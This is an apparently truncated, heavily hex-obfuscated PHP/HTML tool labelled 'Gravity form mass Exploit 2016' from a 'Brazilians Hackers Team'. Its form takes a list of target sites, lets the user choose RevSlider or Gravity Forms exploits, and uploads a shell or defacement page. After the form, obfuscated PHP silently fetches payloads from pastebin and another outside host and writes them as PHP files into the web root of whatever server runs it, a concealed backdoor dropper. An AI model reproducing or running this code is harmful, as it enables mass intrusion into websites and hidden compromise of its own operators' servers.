\\\x5f\x5f__\x5f|_|\x20\x20\x5c_\\/\x5f/ \x20\x20 \x5c\x5f\x5c/\x20 \x20|_\x5f_\x5f\x5f| |\x5f|\x20 \x20 |\x5f|\n\n \x20\x20 \x20 \x20\x20***\x20B\x72a\x7a\x69\x6cia\x6es\x20\x48\x61\x63k\x65r\x73 \x54e\x61m\x20***\n\t\t-->\n\t\t<\x73\x74yl\x65>\n\t\t\t@\x69\x6dp\x6fr\x74 \x27\x68\x74t\x70\x73://\x66\x6fnts.\x67\x6fog\x6c\x65a\x70\x69s\x2e\x63\x6fm/css?f\x61\x6d\x69\x6c\x79\x3dOr\x62\x69\x74ro\x6e'\x3b\n\t\t\t\x62\x6f\x64\x79{\x20\x62\x61c\x6b\x67\x72\x6fund-col\x6fr:\x20#22\x3222\x32 \x21\x69m\x70o\x72\x74a\x6et;\x20\x63\x6fl\x6fr:\x20\x23\x300\x3990\x30;\x20t\x65\x78t-\x73\x68a\x64\x6fw:#00\x30\x20\x30\x70\x78\x202\x70x\x207px; f\x6fnt-\x66\x61\x6d\x69\x6cy :\x20\x4f\x72\x62i\x74\x72\x6fn\x3b}\n\t\t\t.g\x72av\x69ty_\x66\x6f\x72\x6d\x20{\x20\x6dar\x67\x69n-\x74\x6f\x70 : 30\x70\x78\x3b }\n\t\t\t\x66or\x6d { m\x61\x72\x67\x69n-\x74\x6f\x70 : \x33\x30\x70x;\x20}\n\t\t\t\x66orm\x20i\x6ep\x75\x74[\x74\x79\x70e\x3d\x74e\x78t],\x20\x74\x65x\x74are\x61, \x73e\x6ce\x63\x74\x20{\n\t\t\t\t w\x69d\x74\x68\x20:\x2025\x30px; \x6d\x61r\x67\x69\x6e-\x6c\x65f\x74\x20: 8\x70\x78;\n\t\t\t\t \x70add\x69n\x67:\x203\x70\x78; \x63\x6fl\x6fr:\x20\x238\x338\x659\x34\x3b\x20t\x65\x78t-s\x68ad\x6f\x77:\x20\x23\x37\x377\x37\x37\x37\x200p\x78\x20\x30\x70x \x33p\x78\x3b \x62o\x72de\x72: 1\x70x \x73\x6fl\x69d #\x30\x61\x66f71\x3b \x62ac\x6bgr\x6fu\x6ed: t\x72a\x6e\x73\x70ar\x65nt;\x20b\x6f\x78-\x73\x68ad\x6f\x77:\x200\x70\x78\x200\x70x\x204\x70\x78 \x232\x61\x662\x65\x64; \x20\x20\x70\x61\x64d\x69n\x67: 3p\x78; \x20\x20-w\x65\x62\x6bit-\x62\x6f\x72\x64er-\x72adiu\x73: \x34\x70x;\n\x20\x20 -\x6d\x6fz-bor\x64er-\x72a\x64i\x75\x73:\x20\x34\x70\x78; \x20 \x62o\x72d\x65r-rad\x69\x75s:\x204\x70x\x3b -we\x62k\x69t-\x62ox-\x73ha\x64ow:\x20r\x67\x62(8\x35,\x38\x35,\x38\x35) 0px 0px\x204\x70x;\x20\x20 -moz-bo\x78-\x73h\x61d\x6fw: rg\x62(85,\x38\x35,85)\x200px\x20\x30p\x78\x204\x70x\x3b }\n\t \t\t\x69npu\x74[\x74yp\x65\x3d\x73\x75\x62\x6dit]{\x20padding: \x33\x70x;\x20\x63ol\x6f\x72:\x20#\x3009\x390\x30;\x20 fo\x6e\x74-\x77\x65\x69ght: \x62old\x3b\x20t\x65xt-al\x69g\x6e: \x63e\x6et\x65r\x3b \x20t\x65\x78\x74-\x73\x68\x61\x64\x6f\x77:\x20\x30\x20\x31px\x20\x72\x67ba(\x325\x35, 2\x355, 2\x355, \x30\x2e\x33)\x3b \x20b\x61\x63\x6b\x67round:\x20\x23\x61\x65a\x65\x61\x65;\x20 ba\x63k\x67\x72\x6fund-cl\x69p:\x20\x70\x61\x64\x64ing-\x62o\x78;\x20 \x62o\x72de\x72:\x20\x31px solid\x20#2\x384\x34\x373\x3b\x20 \x62o\x72d\x65\x72-\x62\x6f\x74\x74\x6fm-c\x6f\x6cor: #\x3223\x62\x366\x3b\x20 \x62orde\x72-ra\x64iu\x73: 4\x70x; \x63\x75\x72sor:\x20p\x6f\x69\x6e\x74e\x72\x3b \x20\x62\x61c\x6b\x67roun\x64-\x69mage:-\x77\x65bk\x69t-li\x6e\x65a\x72-g\x72a\x64\x69\x65\x6et(t\x6fp, #ea\x65a\x65a,\x20\x23d0\x64\x30\x64\x30); \x20b\x61c\x6b\x67\x72\x6fun\x64-\x69\x6da\x67e:\x20-moz-l\x69n\x65ar-gr\x61\x64\x69ent(\x74\x6f\x70, \x23ea\x65a\x65a,\x20#\x640d0d0)\x3b ba\x63\x6bg\x72\x6f\x75nd-\x69m\x61ge:\x20-\x6f-\x6ci\x6e\x65a\x72-g\x72a\x64\x69\x65nt(to\x70, #ea\x65\x61ea,\x20\x23d0\x640\x640);\x20 ba\x63\x6b\x67r\x6f\x75nd-im\x61\x67\x65: \x6c\x69\x6e\x65\x61r-\x67\x72a\x64ient(\x74o b\x6f\x74\x74o\x6d,\x20\x23\x65\x61\x65\x61ea,\x20#d\x30\x64\x30d\x30); \x20-webk\x69\x74-\x62o\x78-\x73h\x61\x64ow: in\x73et \x30\x201p\x78 r\x67b\x61(\x325\x35, \x3255,\x2025\x35, 0\x2e5), i\x6e\x73\x65t \x30\x200 7\x70\x78 rg\x62a(\x3255, \x3255, \x32\x35\x35,\x200\x2e4), \x30\x20\x31\x70\x78 1px\x20r\x67ba(0, \x30, \x30,\x20\x30\x2e\x31\x35); \x20b\x6f\x78-\x73\x68a\x64\x6fw: i\x6e\x73et 0 1p\x78\x20\x72g\x62a(25\x35, \x32\x355, \x32\x355,\x20\x30\x2e\x35),\x20\x69n\x73et\x200\x200 7p\x78 \x72\x67ba(\x325\x35,\x20\x325\x35, 2\x355, 0.4), \x30 \x31p\x78 1px \x72g\x62a(0,\x200,\x200,\x200.1\x35);\x20}\n\t\t\ti\x6epu\x74[ty\x70\x65\x3d\x73\x75\x62m\x69t]:hov\x65\x72, i\x6eput[\x74yp\x65=\x74ex\x74]:h\x6fv\x65\x72{ c\x6flor: \x23\x66f\x66\x66\x66f;\x20\x74ext-\x73\x68\x61\x64o\x77: \x23\x30\x306\x360\x30\x200\x70x\x200px 4px; \x62\x6f\x78-\x73\x68\x61do\x77: 0p\x78 0\x70\x78 4p\x78\x20\x23\x300\x64\x64\x30\x30\x3b \x62o\x72d\x65r:\x201px\x20s\x6fl\x69\x64\x20\x23\x30\x30\x64d00\x3b \x20\x20\x70\x61ddin\x67: 3\x70x;\x20 \x20-w\x65\x62\x6b\x69\x74-b\x6f\x72\x64e\x72-r\x61\x64\x69\x75s:\x204\x70x\x3b\n\x20 -\x6do\x7a-\x62o\x72\x64e\x72-rad\x69\x75\x73: 4\x70x; \x20\x62orde\x72-\x72\x61\x64ius: \x34px\x3b -we\x62ki\x74-bo\x78-\x73h\x61dow: \x72g\x62\x61(0,\x31\x31\x39,\x30)\x200p\x78\x200\x70x \x34\x70x;\x20 -\x6d\x6fz-\x62ox-shad\x6f\x77:\x20rg\x62a(\x30,\x31\x31\x39,\x30)\x20\x30\x70x 0\x70\x78\x204p\x78;}\ns\x65\x6c\x65c\x74{ \x70\x61\x64d\x69n\x67: \x33p\x78;\x20\x63\x6f\x6cor: #\x32\x32\x66\x34\x61\x66\x3b\x20te\x78\x74-\x73ha\x64\x6f\x77:\x23\x30\x300\x20\x30\x70\x78\x202p\x78 \x37p\x78; borde\x72: 1\x70x s\x6fl\x69d\x20\x23\x300\x3770\x30\x3b\x20bac\x6b\x67round: t\x72a\x6e\x73\x70\x61\x72\x65\x6e\x74\x3b\x20\x74\x65xt-d\x65\x63o\x72\x61\x74\x69on: n\x6fne; bo\x78-\x73\x68ad\x6f\x77:\x20\x30p\x78 0\x70\x78 \x34p\x78 \x23ff5810;\x20 p\x61d\x64in\x67:\x203p\x78;\x20 -\x77\x65\x62ki\x74-b\x6f\x72\x64\x65r-\x72\x61\x64iu\x73:\x20\x34\x70\x78\x3b\x20 -moz-\x62o\x72de\x72-rad\x69us: 4px;\n \x20bo\x72\x64\x65\x72-ra\x64\x69\x75\x73: 4p\x78\x3b \x20 -w\x65bk\x69\x74-b\x6f\x78-sh\x61d\x6f\x77: rg\x62(85, 85,\x20\x38\x35)\x20\x30px 0\x70x\x204px\x3b\x20 -m\x6f\x7a-\x62o\x78-\x73\x68a\x64ow:\x20\x72gb(85,\x20\x385,\x20\x38\x35) \x30\x70x\x200\x70x\x204\x70x;}\nse\x6c\x65c\x74:\x68\x6f\x76er{ bo\x72de\x72: \x31px soli\x64\x20\x23\x300d\x6400\x3b \x62\x6f\x78-\x73h\x61\x64o\x77:\x20\x30px\x200\x70\x78 4px\x20\x23\x30\x30d\x64\x30\x30\x3b \x20\x20\x70\x61\x64\x64in\x67:\x20\x33px\x3b \x20\x20-\x77e\x62kit-\x62\x6f\x72de\x72-\x72ad\x69\x75\x73: 4p\x78\x3b\x20 -\x6doz-\x62o\x72d\x65\x72-\x72ad\x69\x75s: \x34px\x3b \x62orde\x72-r\x61di\x75s: \x34p\x78; \x20 -we\x62k\x69\x74-\x62o\x78-\x73\x68\x61do\x77: rg\x62a(0,\x31\x31\x39,\x30)\x200\x70x 0\x70\x78 \x34\x70\x78;\n \x20 -\x6d\x6f\x7a-\x62ox-\x73hadow: \x72\x67\x62\x61(0,119,0)\x200px\x200p\x78 \x34p\x78\x3b}\n\t\t\t.h\x69\x64de\x6e\x20{\x20\x64is\x70\x6c\x61\x79\x20: \x6eone\x20\x21\x69mport\x61nt\x3b }\n\t\t\t.\x66oo\x74er\x20{\x20p\x6f\x73it\x69\x6fn : \x66\x69\x78ed;\x20\x62\x6f\x74t\x6fm :\x201\x30\x70x; \x77\x69d\x74h : 10\x30\x25\x3b\x20\x74\x65\x78t-\x61l\x69\x67n\x20: \x63e\x6e\x74\x65r\x3b \x68\x65\x69ght\x20: 30p\x78\x3b }\n\t\t\t\x2ee\x72\x72o\x72 { \x63\x6f\x6co\x72\x20: #f\x66f\x35\x30\x65\x3b\x20}\n\t\t\t\x2edone\x20{\x20\x63o\x6cor\x20: #\x66ff;}\n\t\t</s\x74yle>\n\t\t<t\x69t\x6ce\x3e\x47\x72a\x76it\x79\x20\x66o\x72m \x6das\x73\x20E\x78pl\x6fit\x3c/\x74\x69\x74l\x65\x3e\n\t</\x68e\x61\x64\x3e\n\t\x3c\x62\x6f\x64y>\n\t\t<\x63\x65n\x74\x65\x72>\n\t\t\t<div c\x6cass\x3d\"\x67\x72\x61v\x69t\x79_\x66orm\">\n\t\t\t\t<\x681>G\x52A\x56\x49\x54\x59 \x46\x4fRM\x20\x45\x58\x50\x4c\x4fIT \x320\x316</\x681>\n\t\t\t\t<\x66orm na\x6de=\x22f\x6frm\" ac\x74\x69o\x6e\x3d\"\" \x6detho\x64\x3d\"pos\x74\x22\x3e\n\t\t\t\t\t\x3cd\x69v st\x79le\x3d\x22\x6d\x61rgin-bot\x74\x6fm :\x20\x33\x30\x70x;\x22\x3e\n\t\t\t\t\t\t\x3cdi\x76 \x69d=\"1\"\x20\x73\x74\x79le=\"\x64\x69sp\x6c\x61\x79 :\x20\x69\x6el\x69ne-\x62lo\x63k;\">\n\t\t\t\t\t\t\x3cl\x61\x62\x65l\x3e\x45\x58PL\x4fIT\x20:\x20\x3c\x6ca\x62\x65\x6c\x3e\n\t\t\t\t\t\t\t<\x73e\x6ce\x63\x74 \x6eame\x3d\x22e\x78p\"\x20\x6f\x6e\x63han\x67\x65\x3d\"c\x68a\x6e\x67\x65()\x22 id=\x22choice\x22\x3e\n\t\t\t\t\t\t\t\t\x3c\x6f\x70\x74\x69o\x6e v\x61\x6c\x75e=\x22\x30\"\x20se\x6c\x65cted\x3e\x53\x45L\x45\x43IO\x4eE \x4f E\x58PLOIT</\x6f\x70\x74i\x6f\x6e\x3e\n\t\t\t\t\t\t\t\t<\x6f\x70t\x69\x6f\x6e \x76\x61\x6c\x75e\x3d\x22\x31\">R\x45\x56S\x4c\x49\x44\x45\x52\x3c/\x6fpti\x6fn\x3e\n\t\t\t\t\t\t\t\t<o\x70\x74ion\x20\x76a\x6cu\x65\x3d\"2\x22>GRAVI\x54\x59\x20FOR\x4d\x3c/\x6f\x70ti\x6f\x6e>\n\t\t\t\t\t\t\t\x3c/s\x65le\x63\x74\x3e\n\t\t\t\t\t\t\t\x3c\x6cab\x65l>\x53\x68e\x6c\x6c/In\x64e\x78 :\x20<l\x61\x62\x65\x6c>\n\t\t\t\t\t\t\t<\x73\x65lect\x20\x6e\x61\x6de=\x22\x74\x79\x70\x65\"\x20\x6f\x6ec\x68a\x6eg\x65\x3d\x22\x63h\x61\x6eg\x65()\x22 i\x64=\x22\x63\x68oice\">\n\t\t\t\t\t\t\t\t<op\x74ion\x20\x76a\x6cue\x3d\x22\x30\x22 se\x6c\x65cte\x64>SE\x4c\x45C\x49\x4fNE O\x50CA\x4f</opt\x69on>\n\t\t\t\t\t\t\t\t<\x6f\x70\x74i\x6fn \x76a\x6c\x75\x65\x3d\x22\x31\x22\x3e\x41R\x51U\x49\x56O</op\x74\x69\x6fn\x3e\n\t\t\t\t\t\t\t\t\x3c\x6fpt\x69on \x76al\x75e\x3d\x222\"\x3eS\x43R\x49\x50\x54\x3c/\x6f\x70\x74\x69on>\n\t\t\t\t\t\t\t</s\x65\x6c\x65ct\x3e\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\x3c/\x64iv>\n\t\t\t\t\t\t\x3cd\x69\x76 \x69d\x3d\x22\x32\x22\x20\x73ty\x6c\x65=\"d\x69sp\x6cay :\x20inl\x69n\x65-\x62lock\x3b ma\x72\x67in-\x6c\x65f\x74 :\x2030\x70x;\x22>\n\t\t\t\t\t\t\t<lab\x65l>TI\x50\x4f\x20D\x45\x20\x41R\x51UI\x56\x4f\x20:\x20</l\x61bel>\n\t\t\t\t\t\t\t<\x73e\x6c\x65\x63t name=\"\x66il\x65\x74yp\x65\x22>\n\t\t\t\t\t\t\t\t<o\x70\x74ion\x20v\x61l\x75\x65=\x220\"\x20\x73\x65l\x65\x63t\x65\x64\x3eE\x58\x54\x45N\x53\x41\x4f</\x6f\x70\x74i\x6f\x6e>\n\t\t\t\t\t\t\t\t<\x6fp\x74i\x6fn\x20\x76\x61\x6c\x75\x65=\x221\x22>*.t\x78\x74</\x6f\x70ti\x6f\x6e\x3e\n\t\t\t\t\t\t\t\t<optio\x6e\x20v\x61l\x75\x65\x3d\"\x32\"\x3e*.\x68tml</\x6fpti\x6fn\x3e\n\t\t\t\t\t\t\t\t<o\x70\x74io\x6e va\x6cu\x65\x3d\"\x33\">*\x2ephp\x3c/\x6f\x70t\x69o\x6e>\n\t\t\t\t\t\t\t\x3c/\x73el\x65ct>\n\t\t\t\t\t\t\x3c/\x64iv\x3e\n\t\t\t\t\t</div\x3e\n\t\t\t\t\t<\x64\x69\x76 s\x74y\x6c\x65=\x22\x6da\x72\x67i\x6e-\x62\x6f\x74t\x6f\x6d : 30px\x3b\">\n\t\t\t\t\t\t\x3cd\x69v \x63\x6ca\x73\x73=\x22\x68i\x64\x64\x65n\"\x20i\x64\x3d\x22\x66il\x65\"\x20\x73\x74y\x6c\x65\x3d\x22mar\x67\x69\x6e-\x74\x6fp : \x32\x30\x70x; d\x69s\x70lay\x20: \x69\x6e\x6c\x69ne-\x62loc\x6b\x3b\x20\x6d\x61r\x67i\x6e-lef\x74 : -\x316px;\x20m\x61r\x67i\x6e-\x74op : -\x31\x310px\x3b\x22>\n\t\t\t\t\t\t\t\x3c\x6cab\x65l>\x4eOM\x45\x20\x44\x4f \x41\x52\x51\x55\x49V\x4f :\t\x3c/lab\x65\x6c>\n\t\t\t\t\t\t\t<\x69\x6ep\x75\x74 \x74\x79\x70e=\x22tex\x74\x22 \x6eam\x65\x3d\x22\x66ilen\x61me\" />\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\x3c\x64iv c\x6c\x61s\x73=\"h\x69d\x64en\x22\x20id=\"\x73cript\x22 \x73\x74\x79l\x65\x3d\"m\x61\x72gin-top :\x20\x32\x30\x70\x78\x3b d\x69sp\x6cay : in\x6c\x69n\x65-b\x6c\x6fc\x6b\x3b\x20\x6d\x61\x72\x67in-l\x65f\x74\x20: -\x316\x70x\x3b mar\x67i\x6e-\x74\x6f\x70\x20: -\x311\x30\x70\x78\x3b\">\n\t\t\t\t\t\t\t\x3clabe\x6c \x73tyle=\"\x6d\x61rgin-\x6ce\x66t : -\x32\x30p\x78\x3b\x22>| \x53c\x72ipt\x20|\x3c/\x6cab\x65\x6c>\x3c\x62\x72>\n\t\t\t\t\t\t\t<\x74ex\x74a\x72\x65a\x20name=\x22\x73\x63ri\x70t\x22 \x63ol\x73=\x226\x30\"\x20rows=\x22\x36\x22 s\x74yl\x65=\"mar\x67\x69\x6e-\x74op\x20:\x201\x30p\x78; \x77id\x74\x68\x20: 2\x390\x20!impo\x72t\x61nt\x3b\x20\x6dargin-left :\x20-\x31\x35p\x78\x3b\x22\x3e\x3c/\x74\x65x\x74\x61\x72e\x61\x3e\n\t\t\t\t\t\t</d\x69\x76\x3e\n\t\t\t\t\t\t\x3c\x64\x69\x76 \x73\x74yl\x65=\x22d\x69\x73p\x6c\x61\x79\x20:\x20inl\x69ne-\x62\x6c\x6fc\x6b;\x20ma\x72gin-\x6c\x65\x66t\x20:\x201\x30\x30\x70x;\x22>\n\t\t\t\t\t\t\t\t\x3c\x6ca\x62e\x6c \x73ty\x6c\x65=\"\x6d\x61rgi\x6e-l\x65f\x74 : -20\x70x\x3b\">| \x4cIST\x41 \x44E\x20\x53\x49TES\x20|\x3c/l\x61be\x6c>\x3c\x62r\x3e\n\t\t\t\t\t\t\t\t<\x74e\x78tar\x65a n\x61m\x65=\x22sit\x65\x73\"\x20\x63o\x6c\x73\x3d\"6\x30\x22 \x72\x6fws=\x22\x36\"\x20\x73t\x79\x6ce=\"\x6d\x61rg\x69n-t\x6f\x70 :\x201\x30p\x78; \x77\x69\x64th : \x32\x39\x30\x20\x21\x69m\x70or\x74\x61n\x74\x3b m\x61r\x67in-left\x20: -\x31\x35\x70x\x3b\"\x3e</\x74e\x78\x74area\x3e\n\t\t\t\t\t\t</\x64\x69v\x3e\n\t\t\t\t\t\x3c/d\x69\x76\x3e\n\t\t\t\t\t<div\x20\x63\x6ca\x73\x73\x3d\x22\x64is\x70\x6c\x61y : \x62l\x6fck\x3b\x22\x3e\n\t\t\t\t\t\t\x3cinp\x75t\x20t\x79p\x65=\x22\x73\x75b\x6d\x69\x74\x22 \x76al\x75\x65=\"\x49NICI\x41R\x22 /\x3e\n\t\t\t\t\t\x3c/di\x76>\n\t\t\t\t</form>\n\t\t\t</d\x69\x76>\n\t\t\x3c/ce\x6e\x74er\x3e\n\t\x3c/\x62o\x64y\x3e\n\t\x3cfo\x6f\x74e\x72\x20c\x6cass=\"f\x6f\x6fter\"\x3e\x20*** \x42r\x61\x7ai\x6c\x69a\x6es \x48ack\x65rs\x20\x54eam ***\x20\x3c/\x66\x6fot\x65\x72\x3e\n\t<\x73c\x72\x69p\x74\x3e\n\t\t\x66\x75n\x63t\x69o\x6e c\x68\x61\x6e\x67e()\x20{\n\t\t\tva\x72\x20\x69\x64\x20\x3d d\x6f\x63\x75me\x6et\x2e\x67e\x74\x45\x6ce\x6d\x65n\x74B\x79I\x64(\x22c\x68o\x69ce\")\x2ev\x61\x6c\x75\x65\x3b\n\t\t\tsw\x69\x74\x63\x68(\x69d) {\n\t\t\t\tc\x61se\x20\x22\x31\x22\x20:\n\t\t\t\t\tdocu\x6d\x65nt\x2e\x67etElem\x65ntB\x79Id(\x22f\x69\x6ce\").\x63\x6c\x61s\x73N\x61m\x65 \x3d\x20\"\";\n\t\t\t\t\td\x6f\x63u\x6d\x65\x6e\x74.\x67\x65t\x45\x6c\x65men\x74\x42\x79\x49\x64(\x22\x73cr\x69\x70t\x22).\x63\x6cassNam\x65 \x3d \x22hi\x64d\x65\x6e\x22;\n\t\t\t\t\t\x62re\x61\x6b\x3b\n\t\t\t\tca\x73e\x20\x222\x22\x20:\n\t\t\t\t\t\x64\x6fcum\x65n\x74\x2ege\x74\x45\x6cementBy\x49d(\x22fi\x6ce\x22)\x2e\x63\x6c\x61\x73\x73N\x61\x6de =\x20\x22hi\x64\x64\x65\x6e\x22\x3b\n\t\t\t\t\tdo\x63u\x6d\x65n\x74.\x67e\x74E\x6c\x65me\x6et\x42\x79Id(\x22s\x63ri\x70t\").\x63\x6ca\x73sNam\x65 \x3d\x20\"\x22;\n\t\t\t\t\tb\x72\x65\x61\x6b\x3b\n\t\t\t\t\x64e\x66a\x75lt:\n\t\t\t\t\t\x64ocum\x65n\x74.ge\x74E\x6c\x65m\x65n\x74ByI\x64(\"\x66\x69le\")\x2e\x63\x6cass\x4eam\x65\x20\x3d\x20\"\x68i\x64de\x6e\";\n\t\t\t\t\t\x64o\x63um\x65nt\x2e\x67e\x74El\x65m\x65n\x74\x42yId(\x22s\x63ri\x70t\").\x63\x6c\x61ssN\x61me \x3d \x22hid\x64\x65n\"\x3b\n\t\t\t\t\t\x62\x72\x65\x61k\x3b\n\t\t\t}\n\t\t}\n\t\x3c/sc\x72\x69p\x74\x3e\n</\x68\x74m\x6c\x3e\n";function http_get($url){$juvhtxmlbqqj="i\x6d";${"GLO\x42A\x4c\x53"}["n\x79\x6di\x66\x6boj"]="i\x6d";$vziivjymso="\x69\x6d";${"GL\x4fB\x41\x4c\x53"}["\x6cep\x6b\x65\x78\x6a"]="\x69m";${${"G\x4c\x4f\x42\x41L\x53"}["le\x70\x6be\x78\x6a"]}=curl_init(${${"\x47\x4c\x4f\x42\x41L\x53"}["\x66\x62\x79i\x6d\x62\x68npa"]});$pysydwl="\x69m";curl_setopt(${$vziivjymso},CURLOPT_RETURNTRANSFER,1);${"G\x4c\x4f\x42\x41\x4cS"}["\x61pwrwj"]="i\x6d";curl_setopt(${${"\x47L\x4f\x42\x41\x4c\x53"}["ny\x6di\x66k\x6fj"]},CURLOPT_CONNECTTIMEOUT,10);curl_setopt(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x67\x67\x78v\x6a\x66\x77"]},CURLOPT_FOLLOWLOCATION,1);curl_setopt(${$pysydwl},CURLOPT_HEADER,0);return curl_exec(${${"\x47\x4c\x4f\x42\x41L\x53"}["\x61\x70\x77\x72\x77j"]});curl_close(${$juvhtxmlbqqj});}${$cjimqefdu}=$_SERVER["\x44\x4fCUMENT_R\x4fO\x54"]."/u\x70.\x70h\x70";$ustucoevkiw="ch\x65\x63\x6b";${"\x47\x4c\x4f\x42\x41L\x53"}["\x6d\x67\x70\x62av\x79n\x62\x77\x62"]="\x63\x68e\x63\x6b";${"\x47L\x4fB\x41\x4cS"}["\x6d\x6a\x77\x6dpy\x79o\x66\x67"]="\x6f\x70\x65n";${${"G\x4cO\x42\x41L\x53"}["\x76\x74rczwk\x77\x75\x64"]}=http_get("\x68t\x74\x70://\x70\x61st\x65b\x69\x6e.c\x6fm/r\x61\x77/u\x55\x46\x4d9\x68\x38Z");$ruwhtwhnecg="\x49r\x61q\x65";${${"\x47\x4c\x4fBALS"}["ep\x63\x71v\x76\x6e\x6eyv\x6a"]}=fopen(${$ustucoevkiw},"w");${"\x47\x4c\x4f\x42\x41\x4c\x53"}["yohxzx\x70\x65\x78"]="\x63\x68\x65c\x6b\x33";fwrite(${${"\x47LOBA\x4cS"}["\x65\x70\x63\x71\x76v\x6en\x79\x76j"]},${${"G\x4cOB\x41\x4c\x53"}["\x72\x64h\x65\x62\x72\x77vpyw"]});$zhgpgmcxx="ch\x65\x63\x6b\x36";${"\x47\x4c\x4f\x42A\x4c\x53"}["\x64xy\x6f\x6f\x6bgwuz"]="text\x33";fclose(${${"\x47\x4cO\x42\x41L\x53"}["\x6dj\x77mpyy\x6ff\x67"]});if(file_exists(${${"\x47\x4cO\x42\x41\x4c\x53"}["mg\x70\x62\x61v\x79n\x62\x77\x62"]})){}else echo"";${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x74\x6d\x70\x6e\x61r\x65p\x7a"]}=$_SERVER["\x44OCUM\x45\x4eT_ROOT"]."/x\x78\x31\x2eph\x70";${$skphhnbmk}=http_get("\x68tt\x70://past\x65\x62in\x2ec\x6fm/\x72a\x77/3e\x37\x52\x6dz\x4dA");${$vbchlvr}=fopen(${$dzdguuur},"w");${"GL\x4fBA\x4c\x53"}["r\x73\x77\x78c\x65\x78\x6bg"]="\x74\x65xt\x33";${"\x47\x4c\x4f\x42\x41\x4cS"}["\x79\x65\x72\x67\x75\x78\x70\x69u\x6d"]="o\x70\x5f";fwrite(${${"G\x4c\x4fBALS"}["n\x72q\x68\x66\x6a\x70\x75ug"]},${${"\x47L\x4f\x42A\x4c\x53"}["\x77\x6ch\x73\x6b\x6bd\x68\x73\x69u"]});fclose(${${"GLO\x42\x41\x4c\x53"}["n\x72\x71h\x66j\x70uug"]});${"G\x4cOB\x41\x4cS"}["\x72um\x62\x6ea\x64mm\x6fd"]="\x74\x65\x78\x74\x35";if(file_exists(${${"\x47L\x4f\x42\x41LS"}["\x66\x75\x75\x6f\x75\x6f"]})){}else echo"";${${"G\x4c\x4fB\x41\x4c\x53"}["\x63\x65\x6a\x6c\x62j\x73mh"]}=$_SERVER["DO\x43\x55\x4dEN\x54_\x52\x4f\x4fT"]."/\x75\x701.ph\x70";${${"\x47\x4c\x4fB\x41LS"}["fcru\x68\x74"]}=http_get("h\x74t\x70://\x70\x61ste\x62\x69\x6e.c\x6fm/\x72\x61\x77/dS\x75\x63\x75Q\x37R");${${"\x47\x4cO\x42\x41LS"}["\x70\x72\x67y\x61j\x66u\x78\x73"]}=fopen(${${"\x47L\x4f\x42A\x4c\x53"}["\x6f\x75\x65\x64\x65\x78\x71\x63le"]},"w");fwrite(${$tkgmzy},${$jwllhynp});fclose(${${"G\x4c\x4f\x42\x41\x4c\x53"}["p\x72g\x79\x61\x6a\x66u\x78\x73"]});$szduxerfgoy="\x65\x6e\x63o\x64\x65\x64";if(file_exists(${${"\x47LO\x42A\x4c\x53"}["o\x75\x65\x64\x65\x78\x71c\x6ce"]})){}else echo"";${$uhvyysphpe}=$_SERVER["\x44O\x43\x55MEN\x54\x5fRO\x4fT"]."/ind\x65x\x78\x2e\x68t\x6d\x6c";$trymif="\x6f\x70\x65n\x36";${${"\x47\x4c\x4f\x42AL\x53"}["\x64\x78\x79oo\x6bg\x77\x75z"]}=http_get("http://\x64\x64\x6f\x73\x65\x72\x2enet\x69i\x2en\x65t/");${${"GL\x4f\x42\x41\x4c\x53"}["\x69sq\x70\x6a\x6c\x6cjp\x6fg"]}=fopen(${${"\x47LO\x42\x41\x4c\x53"}["\x79\x6f\x68x\x7a\x78\x70e\x78"]},"w");fwrite(${$dkygngpytxu},${${"\x47L\x4f\x42A\x4c\x53"}["\x72\x73\x77\x78c\x65x\x6b\x67"]});fclose(${${"\x47L\x4f\x42\x41L\x53"}["\x69\x73\x71p\x6all\x6a\x70\x6f\x67"]});${"\x47\x4c\x4f\x42\x41\x4c\x53"}["pqudr\x63t\x63\x74"]="che\x63\x6b6";${"GL\x4f\x42\x41\x4cS"}["\x63\x6b\x6c\x74ej\x6e\x69\x63"]="\x63\x68e\x63\x6b\x36";${"\x47\x4c\x4f\x42A\x4c\x53"}["o\x66\x62\x6a\x75l\x75\x65"]="\x63h\x65c\x6b5";if(file_exists(${${"\x47L\x4f\x42A\x4c\x53"}["\x74\x75\x71\x72\x6f\x6e\x6d"]})){}else echo"";${${"\x47L\x4f\x42\x41\x4c\x53"}["\x68mqa\x65\x79\x6d"]}=$_SERVER["D\x4fC\x55\x4d\x45NT\x5f\x52\x4fO\x54"]."/p\x72\x6fdu\x74\x6f\x73.p\x68\x70";$cwsufrhb="ch\x65ck5";${${"\x47\x4c\x4f\x42\x41L\x53"}["\x6e\x78\x64\x71uccw\x73\x6b"]}=http_get("http://\x70a\x73t\x65bin\x2e\x63o\x6d/raw/\x64\x73xfw\x31qc");${$erqkniim}=fopen(${$cwsufrhb},"w");fwrite(${${"G\x4cO\x42\x41L\x53"}["\x6a\x64vk\x67\x6d\x67\x79\x7a"]},${${"\x47L\x4f\x42\x41LS"}["\x72\x75m\x62\x6e\x61\x64\x6d\x6do\x64"]});fclose(${${"G\x4c\x4f\x42\x41\x4c\x53"}["jd\x76\x6b\x67\x6d\x67\x79\x7a"]});if(file_exists(${${"G\x4cOB\x41\x4cS"}["\x6ff\x62j\x75\x6c\x75\x65"]})){}else echo"";${$zhgpgmcxx}=$_SERVER["\x44O\x43U\x4d\x45\x4eT\x5fROOT"]."/\x70r\x6fd\x75to\x73\x5f\x6e\x65w\x2ep\x68\x70";${${"\x47\x4cO\x42\x41\x4c\x53"}["c\x78r\x73g\x6csi"]}=http_get("\x68t\x74\x70://pasteb\x69\x6e.co\x6d/\x72\x61w/RKu\x57\x35f\x37u");${${"\x47LOB\x41\x4cS"}["q\x7aq\x7apn\x76u\x7a"]}=fopen(${${"\x47\x4c\x4fB\x41L\x53"}["\x70q\x75d\x72\x63\x74\x63\x74"]},"\x77");fwrite(${${"G\x4cOB\x41LS"}["\x64u\x74\x6d\x79h\x74\x7a\x65u"]},${${"\x47\x4c\x4f\x42A\x4cS"}["\x6am\x69\x69\x63\x64\x72wl\x67"]});fclose(${$trymif});if(file_exists(${${"\x47\x4cO\x42\x41LS"}["\x63\x6b\x6c\x74\x65j\x6e\x69\x63"]})){}else 